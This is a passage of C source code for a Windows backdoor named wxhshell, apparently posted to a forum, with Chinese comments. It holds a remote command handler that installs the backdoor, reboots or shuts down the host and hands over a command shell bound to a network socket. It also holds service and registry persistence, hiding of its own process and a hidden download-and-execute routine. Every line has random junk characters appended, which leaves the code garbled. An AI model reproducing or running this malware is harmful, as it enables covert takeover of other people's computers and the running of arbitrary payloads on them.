  case '?': { 8b|m66#|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s~b!3l`gu  
    break; @|;XDO`k;  
  } yyv<MSU8  
  // 安装 '{F Od_uk%  
  case 'i': { VthM`~3  
    if(Install()) 8eDKN9kq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SrT=XX,  
    else =rzhaU'A'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `]$H\gNI[8  
    break; b|-7EI>l9  
    } _s~F/G`iT  
  // 卸载  q +*>T=k  
  case 'r': {  KrqO7  
    if(Uninstall()) #+SdX[ N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (jtkY_  
    else Dy|DQ>?}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q39;bz  
    break; }Zp5d7(@w  
    } b l]YPx8  
  // 显示 wxhshell 所在路径 9oA-Swc[  
  case 'p': { ;yDXo\gm  
    char svExeFile[MAX_PATH]; wpepi8w,  
    strcpy(svExeFile,"\n\r"); 'l41];_  
      strcat(svExeFile,ExeFile); Vd+5an?  
        send(wsh,svExeFile,strlen(svExeFile),0); G&,2>qxK R  
    break; EWp'zbWP  
    } W't.e0L<6  
  // 重启 &aWY{ ?_  
  case 'b': { IfF&QBi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K/D,sH!  
    if(Boot(REBOOT)) q@ %9Y3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D]zpG  
    else { ?{KC@c*c  
    closesocket(wsh); W<OO:B.ty  
    ExitThread(0); {3kI~s  
    } 3=Va0}#&  
    break; 7p+uHm  
    } 5imqZw  
  // 关机 a4D4*=!G0  
  case 'd': { &k0c|q]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gt:Ot0\7  
    if(Boot(SHUTDOWN)) (IIOVv 1J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *h Bo,   
    else { d A' h7D  
    closesocket(wsh); xx EcmS#>  
    ExitThread(0); 5:x .<  
    } #7dM %  
    break; JrVBd hLr  
    } /u N3"m5i  
  // 获取shell 7).zed^  
  case 's': { RWK##VHK  
    CmdShell(wsh); Dwi[aC+k  
    closesocket(wsh); :rX/I LAr  
    ExitThread(0); n$YCIW )0  
    break; @V5'+^O  
  } G[[NDK  
  // 退出 K)n0?Q_>  
  case 'x': { pgU4>tyD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -Drm4sTpDb  
    CloseIt(wsh); lL6qK&;  
    break; J"O#w BM9  
    } %Q[+bN[/  
  // 离开 m[!AOln)  
  case 'q': { >6cENe_@t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :fE*fU@  
    closesocket(wsh); `<kV)d%xEF  
    WSACleanup(); MB] Y|Vee  
    exit(1);  {r?qI  
    break; ) bPF@'rF2  
        } -"Q[n,"Y  
  } Y'S9   
  } #p^r)+\3=  
g+iV0bbT  
  // 提示信息 )QiHe}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >5!/&D.q  
} J "dp?i  
  } ALY% h!L  
vXi}B  
  return; |~3$L\X  
} G$HLta  
59I}  
// shell模块句柄 k<3 _!?3  
int CmdShell(SOCKET sock) *>XY' -;2e  
{ #O .-/&Z  
STARTUPINFO si; b1{XGK'  
ZeroMemory(&si,sizeof(si)); .cX,"2;n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vDAv/l9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7J%v""\1!  
PROCESS_INFORMATION ProcessInfo;  8E!I9z  
char cmdline[]="cmd"; TAt9+\'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,`JXBI~  
  return 0; ^D0BGC&&  
} "@[xo7T  
;ckv$S[p  
// 自身启动模式 d#eHX|+  
int StartFromService(void) m'%Z53&  
{ ^(0tNX/XD  
typedef struct OWK)4[HY(  
{ \T_?<t,UT  
  DWORD ExitStatus; ?JD\pYg[/  
  DWORD PebBaseAddress; !u#o"e<qh  
  DWORD AffinityMask; J}.y+b>8\  
  DWORD BasePriority; fV.43E  
  ULONG UniqueProcessId; db!2nImNu\  
  ULONG InheritedFromUniqueProcessId; T7.u7@V2  
}   PROCESS_BASIC_INFORMATION; aUy=D:\  
OQh36BM  
PROCNTQSIP NtQueryInformationProcess; r4xq%hy  
6]}Xi:I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @zJ#16V i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EN%Xs578  
32IN;X|  
  HANDLE             hProcess; 8&=+Mw  
  PROCESS_BASIC_INFORMATION pbi; 5W!E.fz*T  
DOWUnJ;5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nWK"i\2#G  
  if(NULL == hInst ) return 0; FZ^byIS[  
?mt$c6-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ffm Q$>S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ma }Y\(38  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #1zWzt|DW  
Ac.z6]p  
  if (!NtQueryInformationProcess) return 0; EVj48  
uBks#Y*3$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^tuJM:  
  if(!hProcess) return 0; *qG=p`  
Te> 7I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yg2~qa:dZ  
C({L4O#?o  
  CloseHandle(hProcess); kkrQ;i)Z  
_}!Q4K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j<+iL]b  
if(hProcess==NULL) return 0; {F k]X#j  
F,O+axO ja  
HMODULE hMod; @Ds?  
char procName[255]; xsFWF*HPs  
unsigned long cbNeeded; (cYc03"  
&/\0_CoTR\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (U`7[F  
X5U!25d]  
  CloseHandle(hProcess); M14_w,  
&nn.h@zje  
if(strstr(procName,"services")) return 1; // 以服务启动 %4L|#^7:  
^B& Z  
  return 0; // 注册表启动 U)p2PTfB  
} B>Nxc@=D  
`s:| 4;.  
// 主模块 .(S,dG0P  
int StartWxhshell(LPSTR lpCmdLine) /p>"|z  
{ ~N'KIP[W  
  SOCKET wsl; /,0t,"&Aqa  
BOOL val=TRUE; z4-AOTo2y  
  int port=0; 3<+l.Wly  
  struct sockaddr_in door; v!F(DP.)Z  
V6$v@Zq  
  if(wscfg.ws_autoins) Install(); .<42-IEc  
l.BSZhO$  
port=atoi(lpCmdLine); 59^@K"J  
'*3+'>   
if(port<=0) port=wscfg.ws_port; iMp)g%Ng  
2 yP#:T/z  
  WSADATA data; \k1Wh-3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Gcs+@7!b  
Ya9uu@F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q]Qgg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i]$d3J3  
  door.sin_family = AF_INET; V7[qf "  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (Z,,H1L  
  door.sin_port = htons(port); F'j:\F6C;  
)edM@beY_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }(tGjx]  
closesocket(wsl); yJp& A  
return 1; RycEM|51V  
} 7OWiG,  
W&!Yprr  
  if(listen(wsl,2) == INVALID_SOCKET) { N'`*#UI+  
closesocket(wsl); n1ED _9  
return 1; 6:EO  
} 7GP?;P  
  Wxhshell(wsl); <01B\t7  
  WSACleanup(); 5e2m EQU>  
[ objdQU`  
return 0; ^5T{x>Lj  
_ _)Z Q  
} IeU.T@ $  
x9_ Lt4  
// 以NT服务方式启动 `a6;*r y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tcX7Ua(I`  
{ 95!xTf  
DWORD   status = 0; "Z{^i3 gN  
  DWORD   specificError = 0xfffffff; v;$^1I  
nlmkkTHF8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I'@ }Yjm|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bm+ Mr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DSjo%Brd-  
  serviceStatus.dwWin32ExitCode     = 0; q$t& *O_  
  serviceStatus.dwServiceSpecificExitCode = 0; 0Hz3nd?v  
  serviceStatus.dwCheckPoint       = 0; }]s~L9_z['  
  serviceStatus.dwWaitHint       = 0; *TXq/ 3g  
R*[ACpxr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gR(c;  
  if (hServiceStatusHandle==0) return; KcU,RTE  
=;{S>P!I(t  
status = GetLastError(); cKfYkJ)A'  
  if (status!=NO_ERROR) 7]v-2 *  
{ [MEa@D<7N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vv8$u3H  
    serviceStatus.dwCheckPoint       = 0; $o@?D^  
    serviceStatus.dwWaitHint       = 0; qe$K6A%Yd  
    serviceStatus.dwWin32ExitCode     = status; { &qBr&kg  
    serviceStatus.dwServiceSpecificExitCode = specificError; =az$WRV+7!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aFSZYyPxwv  
    return; 'RA[_Z  
  } Q.|2/6hD7[  
{'ZnxK'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o&AUB` .9~  
  serviceStatus.dwCheckPoint       = 0; k Z3tz?Du  
  serviceStatus.dwWaitHint       = 0; ;4_n:XUgo;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~J2Q0Jv  
} 9qW,I|G  
X%-4x   
// 处理NT服务事件,比如:启动、停止 wd]Yjr#%Ii  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sooh yK8  
{ @fK`l@K  
switch(fdwControl) 9BY b{<0tS  
{ UB1/FM4~  
case SERVICE_CONTROL_STOP: W#wM PsB  
  serviceStatus.dwWin32ExitCode = 0; "D k:r/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ww p^dx`!  
  serviceStatus.dwCheckPoint   = 0; <Q0&[q;Z  
  serviceStatus.dwWaitHint     = 0; Yx%%+c?.   
  { a@a1/ 3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /0c&!OP  
  } _NkN3f5 1L  
  return; Qd./G5CC  
case SERVICE_CONTROL_PAUSE: hnZHu\EJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |}}]&:w2  
  break; btY Pp0o~  
case SERVICE_CONTROL_CONTINUE: < 9MnQ*@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9C.cz\E  
  break; /f[_]LeV]  
case SERVICE_CONTROL_INTERROGATE: r%#qbsN  
  break; 9j"\Lr*o "  
}; g3Q #B7A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yS43>UK_W+  
} b?$09,{0  
4TKi)0 #7  
// 标准应用程序主函数 }cT}G;L'-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3pp w_?k  
{ 2ya`2 m  
*O5+?J Z!  
// 获取操作系统版本 Q.\>+4]1&&  
OsIsNt=GetOsVer(); s7e'9Bx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6)$_2G%Zq  
<H)@vW]_  
  // 从命令行安装 ws=TR  
  if(strpbrk(lpCmdLine,"iI")) Install(); B<R-|-#  
hmH$_YP}  
  // 下载执行文件 qWFg~s#+  
if(wscfg.ws_downexe) { (+_J0i t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vy#(|[pL{  
  WinExec(wscfg.ws_filenam,SW_HIDE); f+6l0@K2  
} GCKl [<9*  
uS'ji k}  
if(!OsIsNt) { %)D7Dr  
// 如果时win9x,隐藏进程并且设置为注册表启动 fUL"fMoU  
HideProc(); f3>/6 C  
StartWxhshell(lpCmdLine); wj^I1;lO  
} "Pc,+>vh  
else W24bO|>D  
  if(StartFromService()) ~roHnJ>  
  // 以服务方式启动 6&Dvp1`m  
  StartServiceCtrlDispatcher(DispatchTable); z!+<m<  
else a}K+w7VY\  
  // 普通方式启动 l)8V:MK  
  StartWxhshell(lpCmdLine); -?RQ%Ue  
IO#W#wW$M  
return 0; [UH5D~Yx  
}
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只看该作者 1 发表于: 2006-10-10
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